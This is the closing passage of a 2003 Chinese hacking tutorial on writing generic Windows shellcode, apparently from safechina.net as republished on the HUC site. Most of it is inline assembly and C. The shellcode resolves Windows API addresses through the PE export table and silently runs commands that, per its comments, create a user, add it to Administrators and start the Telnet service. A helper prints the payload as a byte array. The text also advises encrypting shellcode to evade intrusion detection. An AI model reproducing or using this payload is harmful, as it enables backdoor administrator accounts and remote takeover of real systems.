_emit 'r'
_emit 't'
_emit ' '
_emit 't'
_emit 'l'
_emit 'n'
_emit 't'
_emit 's'
_emit 'v'
```

```
_emit 'r'
_emit 0x00
PUTCOMMAND_OPENTLNT:
pop CMD[COMMAND_OPENTLNT* 4]
}
//__asm int 3//在Release版本中使用断点
//6,执行命令新建用户,如果权限够就将用户加入Administrators,再开启标准的Telnet服务
for(i=COMMAND_START;i<=COMMAND_END;i++)
API[WINEXEC](CMD[i],SW_HIDE);
/*
我们已经引入了一些常用的KERNEL API和WINSOCK API,可以在这里进行更深入的
开发(比如我们可以使用WinSock自己实现一个Telnet服务端).
*/
API[EXITPROCESS](0);//使用ExitProcess来退出ShellCode以减少错误

__asm
{
/*
子程序FindApi,由我前面讲解的GetFunctionByName修改得到
入口参数:
ImageBase:DLL基址
FuncName:需要查找的引出函数名
flen:引出函数名长度,在不会出现重复的情况下可以比引出函数名短一点
Count:引出函数地址索引起始,通常应该把它设为0.
出口参数:
如果查找则成功Eax返回有效的函数地址,否则返回0
*/
FindApi:
mov eax,ImageBase
add eax,0x3c//指向PE头部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有错
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase//指向IMAGE_EXPORT_DIRECTORY
mov [IED],eax
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函数名称指针数组的指针值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根据引出函数个数NumberOfFunctions设置最大查找次数
FindLoop:
push ecx//使用一个小技巧,使用程序循环更简单
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐个字符比较,如果相同则为找到函数,注意这里的ecx值
cld
rep cmpsb
jne FindNext//如果当前函数不是指定的函数则查找下一个
add esp,4//如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//获得函数地址表
shl Count,2//根据函数索引计算函数地址指针=函数地址表基址+(函数索引*4)
add eax,Count
mov eax,[eax]//获得函数地址相对偏移量
add eax,ImageBase//计算函数真实地址,并通过Eax返回给调用者
jmp Found
FindNext:
inc Count//记录函数索引
add [FunNameArray],4//下一个函数名指针
mov eax,FunNameArray
pop ecx//恢复压入的ecx(NumberOfFunctions),进行计数循环
loop FindLoop//如果ecx不为0则递减并回到FindLoop,往后查找
NotFound:
xor eax,eax//如果没有找到,则返回0
```

```
Found:
ret
//ShellCode结束标识符
_emit '*'
_emit '*'
}
}

void AboutMe(void)
{
printf("\t++++++++++++++++++++++++++++++++++\n");
printf("\t+ ShellCode Demo! +\n");
printf("\t+ Code by yellow +\n");
printf("\t+ Date:2003-12-21 +\n");
printf("\t+ Email:yellow@safechina.net +\n");
printf("\t+ Home Page:www.safechina.net +\n");
printf("\t++++++++++++++++++++++++++++++++++\n");

}

void printsc(unsigned char *sc)
{
int x=0;
printf("unsigned char shellcode[]={");
while(1)
{
if ((*sc=='*')&&(*(sc+1)=='*')) break;
if(!(x++%10)) printf("\n\t");
printf("0x%0.2X,",*sc++);
}
printf("\n};\nTotal %d Bytes\r\n",x+1);
}

int main(void)
{
unsigned char *p=ShellCodeFun;
unsigned int k=0;
if(*p==0xe9)
{
k=*(unsigned int*)(++p);
(int)p+=k;
(int)p+=4;
}
printsc(p);
AboutMe();
getch();
}
```

//

注意我在这里我没有演示ShellCode加密技术,现在的ShellCode加密大都都xor之类的操作,基本上比较简单
,但为了逃避"入侵检测系统"的查杀还是应该使用比较好的加密方法,我想以后可能会写一些相关的技术文章吧!

Ok!已经演示了这么多,我想你的收获一定不小吧!俗话说的好"师傅领进门,修行在个人",ShellCode最关键的
技术我们已经掌握了,至于怎么去实现一个功能丰富的ShellCode就看你自己的开发技术和经验了!

最后

当我初学ShellCode编写技术时,对于没有能让初学者入门的ShellCode教程可以参考而感到烦恼,所以在我完成
PE和KERNEL32地址获得方法学习后,就立刻写了这篇文章,希望对广大初学者有所帮助!眼看快要到圣诞节,yellow
在这里初大家圣诞节快乐,永远开心,永远年轻!愿中国的安全技术更上一层楼!

4,参考资料.

<MSDN>
<Windows 核心编程>
<Windows 95系统程序设计大奥秘>
<Win32Asm Programming>

5,关键字:
通用ShellCode,黑客编程技术,PE引出表,KERNEL32.DLL地址,结构化异常处理,SEH,溢出,overflow,中华安全网
By yellow from www.safechina.net
2003年12月21日晚
The End.

CopyRight (C)2001-2003 SafeChina.net All Rights Reserved

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net